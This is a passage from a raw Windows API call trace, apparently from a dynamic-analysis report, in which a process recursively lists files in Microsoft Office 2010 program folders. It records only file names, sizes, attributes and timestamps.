Size=0x10000) returned 0x6065c0 [0200.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0200.246] SetEvent (hEvent=0x150) returned 1 [0200.246] ResetEvent (hEvent=0x154) returned 1 [0200.246] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x8f8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="ACWZMA~1.ACC")) returned 1 [0200.246] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5eaa9fd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xb39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="ACWZTO~1.ACC")) returned 1 [0200.246] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x348000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="ACWZUS~1.ACC")) returned 1 [0200.247] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 1 [0200.247] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 0 [0200.247] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.248] GetProcessHeap () returned 0x550000 [0200.248] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.248] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0200.248] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0200.248] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0200.248] GetProcessHeap () returned 0x550000 [0200.248] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0200.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0200.270] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.270] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0200.270] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0200.270] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="COLLEA~1.DLL")) returned 1 [0200.270] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0200.271] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 0 [0200.271] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.273] GetProcessHeap () returned 0x550000 [0200.273] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0200.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1 [0200.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0200.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0200.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0200.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0200.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="AUDIOS~1.DLL")) returned 1 [0200.273] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="AUDIOS~3.DLL")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="AUDIOS~2.DLL")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="BCSAUT~1.DLL")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="BCSCLI~1.DLL")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="BCSCLI~1.MAN")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="BCSEVE~1.MAN")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0200.274] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="BCSRUN~2.DLL")) returned 1 [0200.275] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0200.275] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, 